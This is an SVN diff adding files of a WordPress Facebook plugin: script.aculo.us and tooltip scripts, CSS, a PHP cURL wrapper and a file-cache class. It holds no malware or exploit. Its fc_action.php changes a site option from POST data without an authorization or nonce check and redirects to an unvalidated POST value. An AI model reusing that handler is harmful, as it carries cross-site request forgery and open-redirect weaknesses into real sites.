+    this.set($A(this).concat(classNameToAdd).join(' '));
+  },
+
+  remove: function(classNameToRemove) {
+    if (!this.include(classNameToRemove)) return;
+    this.set($A(this).without(classNameToRemove).join(' '));
+  },
+
+  toString: function() {
+    return $A(this).join(' ');
+  }
+};
+
+Object.extend(Element.ClassNames.prototype, Enumerable);
+
+/*--------------------------------------------------------------------------*/
+
+Element.addMethods();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/scriptaculous.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/scriptaculous.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/scriptaculous.js	(revision 44)
@@ -0,0 +1,58 @@
+// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// 
+// Permission is hereby granted, free of charge, to any person obtaining
+// a copy of this software and associated documentation files (the
+// "Software"), to deal in the Software without restriction, including
+// without limitation the rights to use, copy, modify, merge, publish,
+// distribute, sublicense, and/or sell copies of the Software, and to
+// permit persons to whom the Software is furnished to do so, subject to
+// the following conditions:
+// 
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+var Scriptaculous = {
+  Version: '1.8.1',
+  require: function(libraryName) {
+    // inserting via DOM fails in Safari 2.0, so brute force approach
+    document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
+  },
+  REQUIRED_PROTOTYPE: '1.6.0',
+  load: function() {
+    function convertVersionString(versionString){
+      var r = versionString.split('.');
+      return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]);
+    }
+ 
+    if((typeof Prototype=='undefined') || 
+       (typeof Element == 'undefined') || 
+       (typeof Element.Methods=='undefined') ||
+       (convertVersionString(Prototype.Version) < 
+        convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
+       throw("script.aculo.us requires the Prototype JavaScript framework >= " +
+        Scriptaculous.REQUIRED_PROTOTYPE);
+    
+    $A(document.getElementsByTagName("script")).findAll( function(s) {
+      return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/))
+    }).each( function(s) {
+      var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,'');
+      var includes = s.src.match(/\?.*load=([a-z,]*)/);
+      (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each(
+       function(include) { Scriptaculous.require(path+include+'.js') });
+    });
+  }
+}
+
+Scriptaculous.load();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/style.css	(revision 44)
@@ -0,0 +1,29 @@
+#fbuser_accountbox {
+}
+#fbuser_accountbox img.profilepic {
+	float:left;
+	border: 1px solid #ccc;
+	background: #fff;
+	padding: 2px;
+	margin-right:8px;
+}
+.buttonbar {
+	margin-top:4px;
+}
+img.gallerypic {
+	border: 1px solid #ccc;
+	background: #fff;
+	padding: 2px;
+	margin-right:8px;
+}
+img.fbwidget {
+	border: 1px solid #ccc;
+	background: #fff;
+	padding: 3px;
+	margin-right:8px;
+}
+
+/* FB Status widget */
+.fbstatus_time {
+	display:block;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/tooltip.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/tooltip.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/tooltip.js	(revision 44)
@@ -0,0 +1,62 @@
+var offsetxpoint=-60 //Customize x offset of tooltip
+var offsetypoint=20 //Customize y offset of tooltip
+var ie=document.all
+var ns6=document.getElementById && !document.all
+var enabletip=false
+if (ie||ns6)
+var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""
+
+function ietruebody(){
+return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
+}
+
+function ddrivetip(thetext, thecolor, thewidth){
+if (ns6||ie){
+if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
+if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
+tipobj.innerHTML=thetext
+enabletip=true
+return false
+}
+}
+
+function positiontip(e){
+if (enabletip){
+var curX=(ns6)?e.pageX : event.clientX+ietruebody().scrollLeft;
+var curY=(ns6)?e.pageY : event.clientY+ietruebody().scrollTop;
+//Find out how close the mouse is to the corner of the window
+var rightedge=ie&&!window.opera? ietruebody().clientWidth-event.clientX-offsetxpoint : window.innerWidth-e.clientX-offsetxpoint-20
+var bottomedge=ie&&!window.opera? ietruebody().clientHeight-event.clientY-offsetypoint : window.innerHeight-e.clientY-offsetypoint-20
+
+var leftedge=(offsetxpoint<0)? offsetxpoint*(-1) : -1000
+
+//if the horizontal distance isn't enough to accomodate the width of the context menu
+if (rightedge<tipobj.offsetWidth)
+//move the horizontal position of the menu to the left by it's width
+tipobj.style.left=ie? ietruebody().scrollLeft+event.clientX-tipobj.offsetWidth+"px" : window.pageXOffset+e.clientX-tipobj.offsetWidth+"px"
+else if (curX<leftedge)
+tipobj.style.left="5px"
+else
+//position the horizontal position of the menu where the mouse is positioned
+tipobj.style.left=curX+offsetxpoint+"px"
+
+//same concept with the vertical position
+if (bottomedge<tipobj.offsetHeight)
+tipobj.style.top=ie? ietruebody().scrollTop+event.clientY-tipobj.offsetHeight-offsetypoint+"px" : window.pageYOffset+e.clientY-tipobj.offsetHeight-offsetypoint+"px"
+else
+tipobj.style.top=curY+offsetypoint+"px"
+tipobj.style.visibility="visible"
+}
+}
+
+function hideddrivetip(){
+if (ns6||ie){
+enabletip=false
+tipobj.style.visibility="hidden"
+tipobj.style.left="-1000px"
+tipobj.style.backgroundColor=''
+tipobj.style.width=''
+}
+}
+
+document.onmousemove=positiontip
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/facebook.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/facebook.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/facebook.php	(revision 44)
@@ -0,0 +1,7 @@
+<?php
+class facebook extends wpfbg {
+	function facebook() {
+		return true;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/fbcurl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/fbcurl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/fbcurl.php	(revision 44)
@@ -0,0 +1,516 @@
+<?php
+/**
+ * @author Dick Munroe (munroe@csworks.com)
+ * @copyright copyright @ 2004-2007, Dick Munroe, released under the GPL.
+ * @license http://www.csworks.com/publications/ModifiedNetBSD.html
+ * @version 1.2.0
+ * @package cURL
+ *
+ * The cURL class is a thin wrapper around the procedural interface
+ * to cURL provided by PHP.  I use it mostly as a base class for
+ * web services whose low level interface is, literally, web pages.
+ *
+ * There are a few differences (value added, I guess) between the interface
+ * provided by this class and the procedural cURL interface.  Most
+ * noticable are:
+ *
+ *  1. The curl::exec function (when returning data to the caller rather
+ *     than simply outputing it) always parses the HTTP header and returns
+ *     only the body portion of the reqeust.  The header is available via
+ *     the curl::getHeader method.
+ *  2. The status of the last curl::exec is always maintained.  It is
+ *     available via the curl::getStatus method.  In addition to the information
+ *     returned by curl_getinfo, that of curl_error and curl_errno is folded
+ *     in as well.
+ *
+ * @example ./example.class.curl.php
+ */
+
+//
+// Edit History:
+//
+//  Dick Munroe munroe@csworks.com 30-Nov-2004
+//      Initial Version Created.
+//
+//  Dick Munroe munroe@csworks.com 01-Dec-2004
+//      Forgot to check for cURL actually being in this instance of PHP.
+//
+//  Dick Munroe (munroe@csworks.com) 07-Apr-2006
+//      Fix tab characters.
+//      Add utility function to return post string.
+//
+//  Richard W. Schlatter (richard@rth10260.info) 27-Apr-2006
+//      Extend processing for headers when CURLOPT_FOLLOWLOCATION is also set.
+//      Only the headers of the final page will be used to return parsed headers.
+//      Add utility function to return array of all collected headers.
+//
+//  Dick Munroe (munroe@csworks.com) 01-May-2006
+//      asPostString doesn't need to be an object specific method.
+//
+//  Dick Munroe (munroe@csworks.com) 02-May-2006
+//      Not all versions of PHP allow returning of a reference to the result
+//      of a function.
+//
+//  Richard W. Schlatter (richard@rth10260.info) 03-May-2006
+//      For consistency, return an empty array if there aren't any headers
+//      to be parsed.
+//
+//  Richard W. Schlatter (richard@rth10260.info) 05-Jun-2006
+//      Don't parse headers in the event of an error when executing a cURL request.
+//
+//  Dick Munroe (munroe@csworks.com) 17-Dec-2007 1.2.0
+//      Add a function to parse post strings as this is frequently needed capability.
+
+class fbcurl
+{
+	/**
+	 * The mapping to caseless header names.
+	 *
+	 * @access private
+	 * @var array
+	 */
+
+	var $m_caseless ;
+
+	/**
+	 * The handle for the current curl session.
+	 *
+	 * @access private
+	 * @var resource
+	 */
+
+	var $m_handle ;
+
+	/**
+	 * The parsed contents of the HTTP header if one happened in the
+	 * message.  All repeated elements appear as arrays.
+	 *
+	 * The headers are stored as an associative array, the key of which
+	 * is the name of the header, e.g., Set-Cookie, and the values of which
+	 * are the bodies of the header in the order in which they occurred.
+	 *
+	 * Some headers can be repeated in a single header, e.g., Set-Cookie and
+	 * pragma, so each type of header has an array containing one or more
+	 * headers of the same type.
+	 *
+	 * The names of the headers can, potentially, vary in spelling from
+	 * server to server and client to client.  No attempt to regulate this
+	 * is made, i.e., the curl class does not force all headers to lower
+	 * or upper class, but it DOES collect all headers of the same type
+	 * under the spelling of the type of header used by the FIRST header
+	 * of that type.
+	 *
+	 * For example, two headers:
+	 *
+	 *   1. Set-Cookie: ...
+	 *   2. set-cookie: ...
+	 *
+	 * Would appear as $this->m_header['Set-Cookie'][0] and ...[1]
+	 *
+	 * @access private
+	 * @var mixed
+	 */
+
+	var $m_header ;
+
+	/**
+	 * Current setting of the curl options.
+	 *
+	 * @access private
+	 * @var mixed
+	 */
+
+	var $m_options ;
+
+	/**
+	 * Status information for the last executed http request.  Includes the errno and error
+	 * in addition to the information returned by curl_getinfo.
+	 *
+	 * The keys defined are those returned by curl_getinfo with two additional
+	 * ones specified, 'error' which is the value of curl_error and 'errno' which
+	 * is the value of curl_errno.
+	 *
+	 * @link http://www.php.net/curl_getinfo
+	 * @link http://www.php.net/curl_errno
+	 * @link http://www.php.net/curl_error
+	 * @access private
+	 * @var mixed
+	 */
+
+	var $m_status ;
+
+	/**
+	 * Collection of headers when curl follows redirections as per CURLOPTION_FOLLOWLOCATION.
+	 * The collection includes the headers of the final page too.
+	 *
+	 * @access private
+	 * @var array
+	 */
+
+	var $m_followed ;
+
+	/**
+	 * curl class constructor
+	 *
+	 * Initializes the curl class for it's default behavior:
+	 *  o no HTTP headers.
+	 *  o return the transfer as a string.
+	 *  o URL to access.
+	 * By default, the curl class will simply read the URL provided
+	 * in the constructor.
+	 *
+	 * @link http://www.php.net/curl_init
+	 * @param string $theURL [optional] the URL to be accessed by this instance of the class.
+	 */
+
+	function curl($theURL=null)
+	  {
+		if (!function_exists('curl_init'))
+		  {
+			trigger_error('PHP was not built with --with-curl, rebuild PHP to use the curl class.',
+						  E_USER_ERROR) ;
+		  }
+
+		$this->m_handle = curl_init() ;
+
+		$this->m_caseless = null ;
+		$this->m_header = null ;
+		$this->m_options = null ;
+		$this->m_status = null ;
+		$this->m_followed = null ;
+
+		if (!empty($theURL))
+		  {
+			$this->setopt(CURLOPT_URL, $theURL) ;
+		  }
+		$this->setopt(CURLOPT_HEADER, false) ;
+		$this->setopt(CURLOPT_RETURNTRANSFER, true) ;
+	  }
+
+	/**
+	 * Free the resources associated with the curl session.
+	 *
+	 * @link http://www.php.net/curl_close
+	 */
+
+	function close()
+	  {
+		curl_close($this->m_handle) ;
+		$this->m_handle = null ;
+	  }
+
+	/**
+	 * Execute the curl request and return the result.
+	 *
+	 * @link http://www.php.net/curl_exec
+	 * @link http://www.php.net/curl_getinfo
+	 * @link http://www.php.net/curl_errno
+	 * @link http://www.php.net/curl_error
+	 * @return string The contents of the page (or other interaction as defined by the
+	 *                settings of the various curl options).
+	 */
+
+	function exec()
+	  {
+		$theReturnValue = curl_exec($this->m_handle) ;
+
+		$this->m_status = curl_getinfo($this->m_handle) ;
+		$this->m_status['errno'] = curl_errno($this->m_handle) ;
+		$this->m_status['error'] = curl_error($this->m_handle) ;
+
+		//
+		// Collect headers espesically if CURLOPT_FOLLOWLOCATION set.
+		// Parse out the http header (from last one if any).
+		//
+
+		$this->m_header = null ;
+
+		//
+		// If there has been a curl error, just return a null string.
+		//
+
+		if ($this->m_status['errno'])
+		{
+		  return '' ;
+		}
+
+		if ($this->getOption(CURLOPT_HEADER))
+		  {
+
+			$this->m_followed = array() ;
+			$rv = $theReturnValue ;
+
+			while (count($this->m_followed) <= $this->m_status['redirect_count'])
+			  {
+				$theArray = preg_split("/(\r\n){2,2}/", $rv, 2) ;
+
+				$this->m_followed[] = $theArray[0] ;
+
+				$rv = $theArray[1] ;
+			  }
+
+			$this->parseHeader($theArray[0]) ;
+
+			return $theArray[1] ;
+		  }
+		else
+		  {
+			return $theReturnValue ;
+		  }
+	  }
+
+	/**
+	 * Returns the parsed http header.
+	 *
+	 * @param string $theHeader [optional] the name of the header to be returned.
+	 *                          The name of the header is case insensitive.  If
+	 *                          the header name is omitted the parsed header is
+	 *                          returned.  If the requested header doesn't exist
+	 *                          false is returned.
+	 * @returns mixed
+	 */
+
+	function getHeader($theHeader=null)
+	  {
+		//
+		// There can't be any headers to check if there weren't any headers
+		// returned (happens in the event of errors).
+		//
+
+		if (empty($this->m_header))
+		{
+		  return false ;
+		}
+
+		if (empty($theHeader))
+		  {
+			return $this->m_header ;
+		  }
+		else
+		  {
+			$theHeader = strtoupper($theHeader) ;
+			if (isset($this->m_caseless[$theHeader]))
+			  {
+				return $this->m_header[$this->m_caseless[$theHeader]] ;
+			  }
+			else
+			  {
+				return false ;
+			  }
+		  }
+	  }
+
+	/**
+	 * Returns the current setting of the request option.  If no
+	 * option has been set, it return null.
+	 *
+	 * @param integer the requested CURLOPT.
+	 * @returns mixed
+	 */
+
+	function getOption($theOption)
+	  {
+		if (isset($this->m_options[$theOption]))
+		  {
+			return $this->m_options[$theOption] ;
+		  }
+
+		return null ;
+	  }
+
+	/**
+	 * Did the last curl exec operation have an error?
+	 *
+	 * @return mixed The error message associated with the error if an error
+	 *               occurred, false otherwise.
+	 */
+
+	function hasError()
+	  {
+		if (isset($this->m_status['error']))
+		  {
+			return (empty($this->m_status['error']) ? false : $this->m_status['error']) ;
+		  }
+		else
+		  {
+			return false ;
+		  }
+	  }
+
+	/**
+	 * Parse an HTTP header.
+	 *
+	 * As a side effect it stores the parsed header in the
+	 * m_header instance variable.  The header is stored as
+	 * an associative array and the case of the headers
+	 * as provided by the server is preserved and all
+	 * repeated headers (pragma, set-cookie, etc) are grouped
+	 * with the first spelling for that header
+	 * that is seen.
+	 *
+	 * All headers are stored as if they COULD be repeated, so
+	 * the headers are really stored as an array of arrays.
+	 *
+	 * @param string $theHeader The HTTP data header.
+	 */
+
+	function parseHeader($theHeader)
+	  {
+		$this->m_caseless = array() ;
+
+		$theArray = preg_split("/(\r\n)+/", $theHeader) ;
+
+		//
+		// Ditch the HTTP status line.
+		//
+
+		if (preg_match('/^HTTP/', $theArray[0]))
+		  {
+			$theArray = array_slice($theArray, 1) ;
+		  }
+
+		foreach ($theArray as $theHeaderString)
+		  {
+			$theHeaderStringArray = preg_split("/\s*:\s*/", $theHeaderString, 2) ;
+
+			$theCaselessTag = strtoupper($theHeaderStringArray[0]) ;
+
+			if (!isset($this->m_caseless[$theCaselessTag]))
+			  {
+				$this->m_caseless[$theCaselessTag] = $theHeaderStringArray[0] ;
+			  }
+
+			$this->m_header[$this->m_caseless[$theCaselessTag]][] = $theHeaderStringArray[1] ;
+		  }
+	  }
+
+	/**
+	 * Return the status information of the last curl request.
+	 *
+	 * @param string $theField [optional] the particular portion
+	 *                         of the status information desired.
+	 *                         If omitted the array of status
+	 *                         information is returned.  If a non-existant
+	 *                         status field is requested, false is returned.
+	 * @returns mixed
+	 */
+
+	function getStatus($theField=null)
+	  {
+		if (empty($theField))
+		  {
+			return $this->m_status ;
+		  }
+		else
+		  {
+			if (isset($this->m_status[$theField]))
+			  {
+				return $this->m_status[$theField] ;
+			  }
+			else
+			  {
+				return false ;
+			  }
+		  }
+	  }
+
+	/**
+	 * Set a curl option.
+	 *
+	 * @link http://www.php.net/curl_setopt
+	 * @param mixed $theOption One of the valid CURLOPT defines.
+	 * @param mixed $theValue the value of the curl option.
+	 */
+
+	function setopt($theOption, $theValue)
+	  {
+		curl_setopt($this->m_handle, $theOption, $theValue) ;
+		$this->m_options[$theOption] = $theValue ;
+	  }
+
+	/**
+	 * @desc Post string as an array
+	 * @param string by reference data to be written.
+	 * @return array hash containing the post string as individual elements, urldecoded.
+	 * @access public
+	 */
+
+	function &fromPostString(&$thePostString)
+	{
+		$return = array() ;
+		$fields = explode('&', $thePostString) ;
+		foreach($fields as $aField)
+		{
+			$xxx = explode('=', $aField) ;
+			$return[$xxx[0]] = urldecode($xxx[1]) ;
+		}
+
+		return $return ;
+	}
+
+	/**
+	 * Arrays are walked through using the key as a the name.  Arrays
+	 * of Arrays are emitted as repeated fields consistent with such things
+	 * as checkboxes.
+	 *
+	 * @desc Return data as a post string.
+	 * @param mixed by reference data to be written.
+	 * @param string [optional] name of the datum.
+	 * @access public
+	 */
+
+	function &asPostString(&$theData, $theName = NULL)
+	  {
+		$thePostString = '' ;
+		$thePrefix = $theName ;
+
+		if (is_array($theData))
+		{
+		  foreach ($theData as $theKey => $theValue)
+		  {
+			if ($thePrefix === NULL)
+		{
+			  $thePostString .= '&' . fbcurl::asPostString($theValue, $theKey) ;
+		}
+		else
+			{
+			  $thePostString .= '&' . fbcurl::asPostString($theValue, $thePrefix . '[' . $theKey . ']') ;
+			}
+		  }
+		}
+		else
+		{
+		  $thePostString .= '&' . urlencode((string)$thePrefix) . '=' . urlencode($theData) ;
+		}
+
+		$xxx =& substr($thePostString, 1) ;
+
+		return $xxx ;
+	  }
+
+	/**
+	 * Returns the followed headers lines, including the header of the retrieved page.
+	 * Assumed preconditions: CURLOPT_HEADER and expected CURLOPT_FOLLOWLOCATION set.
+	 * The content is returned as an array of headers of arrays of header lines.
+	 *
+	 * @param none.
+	 * @returns mixed an empty array implies no headers.
+	 * @access public
+	 */
+
+	function getFollowedHeaders()
+	  {
+		$theHeaders = array() ;
+		if ($this->m_followed)
+		  {
+			foreach ( $this->m_followed as $aHeader )
+			  {
+				$theHeaders[] = explode( "\r\n", $aHeader ) ;
+			  } ;
+			return $theHeaders ;
+		  }
+
+		return $theHeaders ;
+	  }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/fc_action.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/fc_action.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/fc_action.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('lib.php');
+
+$friend_comment = $_POST['friend_comment'];
+$friend_comment = (isset($friend_comment) && $friend_comment == "on") ? 'Y' : 'N';
+
+
+
+			if (!get_option('facebook_friendscomment')) 
+			{
+				add_option("facebook_friendscomment", $friend_comment, '', 'yes');
+			} else {
+				update_option("facebook_friendscomment", $friend_comment, '', 'yes');
+			}	
+
+
+header('Location:'.$_POST['_wp_http_referer']);		
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/filecache.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/filecache.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/filecache.php	(revision 44)
@@ -0,0 +1,524 @@
+<?php
+if(!defined('METAL_LIBRARY_CACHE_FILE_CACHE_CLASS'))
+{
+	define('METAL_LIBRARY_CACHE_FILE_CACHE_CLASS',1);
+
+/*
+ *
+ * Copyright Â© (C) Manuel Lemos 2001-2003
+ *
+ * @(#) $Id: filecacheclass.class,v 1.32 2008/02/03 21:32:47 mlemos Exp $
+ *
+ */
+
+class file_cache_class
+{
+	/*
+	 * Protected variables
+	 *
+	 */
+	var $read_cache_file;
+	var $read_cache_file_opened=0;
+	var $write_cache_file;
+	var $write_cache_file_opened=0;
+	var $writtenheaders=0;
+	
+	/*
+	 * Public variables
+	 *
+	 */
+	var $path='';
+	var $flush_cache_file=0;
+	var $error='';
+	var $reopenupdatedcache=1;
+	var $headers=array();
+	var $cache_buffer_length=100000;
+	var $automatic_headers=1;
+	var $verify_headers=array();
+	
+	
+	/*
+	 * Protected functions
+	 *
+	 */
+	Function writecachedata($data)
+	{
+		if((fwrite($this->write_cache_file,$data,strlen($data))!=0))
+			return 1;
+		$this->error='could not write to the cache file';
+		return 0;
+	}
+	
+	Function readcachedata(&$data,$length)
+	{
+		if($length<=0)
+		{
+			$this->error='it was specified an invalid cache data read length';
+			return 0;
+		}
+		if(GetType($readdata=fread($this->read_cache_file,$length))=='string')
+		{
+			$data=$readdata;
+			return 1;
+		}
+		$this->error='could not read from the cache file';
+		return 0;
+	}
+	
+	Function readcacheline(&$line)
+	{
+		if(GetType($readline=fgets($this->read_cache_file))=='string')
+		{
+			$line=((GetType($endofline=strpos($readline,"\r"))=='integer') ? substr($readline,0,$endofline) : $readline);
+			return 1;
+		}
+		$this->error='could not read from the cache file';
+		return 0;
+	}
+	
+	Function endofcache(&$endofcache)
+	{
+		if(!($this->read_cache_file_opened))
+		{
+			$this->error='endofcache function is not implemented';
+			return 0;
+		}
+		$endofcache=feof($this->read_cache_file);
+		return 1;
+	}
+	
+	Function cachelength(&$length)
+	{
+		if((GetType($filelength=@filesize($this->path))=='integer'))
+		{
+			$length=$filelength;
+			return 1;
+		}
+		$this->error='could not determing cache file length';
+		return 0;
+	}
+	
+	Function cachebufferlength(&$length)
+	{
+		$length=$this->cache_buffer_length;
+		if($length!=0 || $this->cachelength($length))
+			return 1;
+		$this->error=('could not get cache buffer length: '.$this->error);
+		return 0;
+	}
+	
+	Function readcacheheaders(&$read)
+	{
+		$this->headers=array();
+		for(;;)
+		{
+			if(!($this->readcacheline($line)))
+				return 0;
+			if(!(strlen($line)!=0))
+				break;
+			if(!($this->endofcache($endofcache)))
+				return 0;
+			if(GetType($endofline=strpos($line,"\r"))=='integer')
+				$line=substr($line,0,$endofline);
+			if($endofcache || !GetType($space=strpos($line,' '))=='integer')
+			{
+				$read=0;
+				return 1;
+			}
+			$this->headers[substr($line,0,$space)]=substr($line,($space+1),(strlen($line)-$space-1));
+		}
+		$read=1;
+		return 1;
+	}
+	
+	Function updatedcache(&$updated)
+	{
+		if(!($this->readcacheheaders($updated)))
+			return 0;
+		if($updated)
+		{
+			Reset($this->verify_headers);
+			$end=(GetType($headername=Key($this->verify_headers))!='string');
+			for(;!$end;)
+			{
+				if(!IsSet($this->headers[$headername]) || (strcmp($this->headers[$headername],$this->verify_headers[$headername])))
+				{
+					$updated=0;
+					break;
+				}
+				Next($this->verify_headers);
+				$end=(GetType($headername=Key($this->verify_headers))!='string');
+			}
+		}
+		if($updated && IsSet($this->headers['x-expires:']))
+			$updated=(strcmp($this->headers['x-expires:'],strftime('%Y-%m-%d %H:%M:%S'))>0);
+		if(!($updated))
+			$this->headers=array();
+		return 1;
+	}
+	
+	Function writecache(&$data,$endofcache)
+	{
+		if(!$this->writtenheaders && (strlen($data)>0 || $endofcache))
+		{
+			$rfc822now=gmstrftime('%a, %d %b %Y %H:%M:%S GMT');
+			srand(time());
+			if($this->automatic_headers && (!$this->setheader('date:',$rfc822now) || !$this->setheader('etag:','"'.md5(strval(rand(0,9999)).$rfc822now).'"') || ($endofcache && !$this->setheader('content-length:',strval(strlen($data))))))
+				return 0;
+			Reset($this->headers);
+			$end=(GetType($headername=Key($this->headers))!='string');
+			for(;!$end;)
+			{
+				$headerdata=($headername.' '.$this->headers[$headername]."\r\n");
+				if(!($this->writecachedata($headerdata)))
+				{
+					$this->error=('could not write the cache headers: '.$this->error);
+					return 0;
+				}
+				Next($this->headers);
+				$end=(GetType($headername=Key($this->headers))!='string');
+			}
+			Reset($this->verify_headers);
+			$end=(GetType($headername=Key($this->verify_headers))!='string');
+			for(;!$end;)
+			{
+				$headerdata=($headername.' '.$this->verify_headers[$headername]."\r\n");
+				if(!($this->writecachedata($headerdata)))
+				{
+					$this->error=('could not write the cache headers: '.$this->error);
+					return 0;
+				}
+				Next($this->verify_headers);
+				$end=(GetType($headername=Key($this->verify_headers))!='string');
+			}
+			$headerdata="\r\n";
+			if(!($this->writecachedata($headerdata)))
+			{
+				$this->error=('could not write to the cache header separator: '.$this->error);
+				return 0;
+			}
+			$this->writtenheaders=1;
+		}
+		if(strlen($data)==0)
+		{
+			if(!($endofcache))
+			{
+				$this->error='it was specified an empty data block to store in the cache';
+				return 0;
+			}
+		}
+		else
+		{
+			if(!($this->writecachedata($data)))
+			{
+				$this->error=('could not write to the cache data: '.$this->error);
+				return 0;
+			}
+		}
+		return 1;
+	}
+	
+	/*
+	 * Public functions
+	 *
+	 */
+	Function verifycache(&$updated)
+	{
+		if($this->read_cache_file_opened)
+		{
+			$this->error='the cache file is already opened for reading';
+			return 0;
+		}
+		if(!strcmp($this->path,''))
+		{
+			$this->error='it was not specified the cache file path';
+			return 0;
+		}
+		$updated=0;
+		if(file_exists($this->path))
+		{
+			if(!((($this->read_cache_file=@fopen($this->path,'rb'))!=0)))
+			{
+				$this->error='could not open cache file for reading';
+				return 0;
+			}
+			if(!(@flock($this->read_cache_file,1)))
+			{
+				fclose($this->read_cache_file);
+				$this->error='could not lock shared cache file';
+				return 0;
+			}
+			$this->read_cache_file_opened=1;
+			$success=$this->cachelength($length);
+			if($success)
+			{
+				if($length>0)
+					$success=$this->updatedcache($updated);
+			}
+			if(!($success))
+			{
+				@flock($this->read_cache_file,3);
+				fclose($this->read_cache_file);
+				$this->read_cache_file_opened=0;
+				return 0;
+			}
+			if($updated)
+				return 1;
+			$success=@flock($this->read_cache_file,3);
+			fclose($this->read_cache_file);
+			$this->read_cache_file_opened=0;
+			if(!($success))
+			{
+				$this->error='could not unlock the cache file';
+				return 0;
+			}
+		}
+		if(!((($this->read_cache_file=@fopen($this->path,'ab'))!=0)))
+		{
+			$this->error='could not open cache file for appending';
+			return 0;
+		}
+		$this->read_cache_file_opened=1;
+		if(!(@flock($this->read_cache_file,2)))
+		{
+			$this->error='could not lock exclusive cache file';
+			@flock($this->read_cache_file,3);
+			fclose($this->read_cache_file);
+			$this->read_cache_file_opened=0;
+			return 0;
+		}
+		if(!((($this->write_cache_file=@fopen($this->path,'wb'))!=0)))
+		{
+			@flock($this->read_cache_file,3);
+			fclose($this->read_cache_file);
+			$this->read_cache_file_opened=0;
+			$this->error='could not open cache file for writing';
+			return 0;
+		}
+		$this->write_cache_file_opened=1;
+		$this->writtenheaders=0;
+		$this->headers=array();
+		return 1;
+	}
+	
+	Function storedata(&$data,$endofcache)
+	{
+		if(!($this->write_cache_file_opened))
+		{
+			$this->error='cache file is not set for storing data';
+			return 0;
+		}
+		$success=$this->writecache($data,$endofcache);
+		if($success)
+		{
+			$success=(!$endofcache || !$this->flush_cache_file || fflush($this->write_cache_file));
+			if(!($success))
+				$this->error='could not flush the cache file';
+		}
+		if(!($success))
+		{
+			fclose($this->write_cache_file);
+			$this->write_cache_file_opened=0;
+			@flock($this->read_cache_file,3);
+			fclose($this->read_cache_file);
+			unlink($this->path);
+			$this->read_cache_file_opened=0;
+			return 0;
+		}
+		if(!($endofcache))
+			return 1;
+		fclose($this->write_cache_file);
+		$this->write_cache_file_opened=0;
+		@flock($this->read_cache_file,3);
+		fclose($this->read_cache_file);
+		$this->read_cache_file_opened=0;
+		if(!($this->reopenupdatedcache))
+			return 1;
+		if(!((($this->read_cache_file=@fopen($this->path,'rb'))!=0)))
+		{
+			$this->error='could not reopen cache file for reading';
+			return 0;
+		}
+		if(!(@flock($this->read_cache_file,1)))
+		{
+			fclose($this->read_cache_file);
+			$this->error='could not lock shared cache file';
+			return 0;
+		}
+		$this->read_cache_file_opened=1;
+		if(!($this->readcacheheaders($read)))
+			return 0;
+		if(!($read))
+		{
+			@flock($this->read_cache_file,3);
+			fclose($this->read_cache_file);
+			$this->read_cache_file_opened=0;
+			$this->error='could not read the cache file headers';
+			return 0;
+		}
+		return 1;
+	}
+	
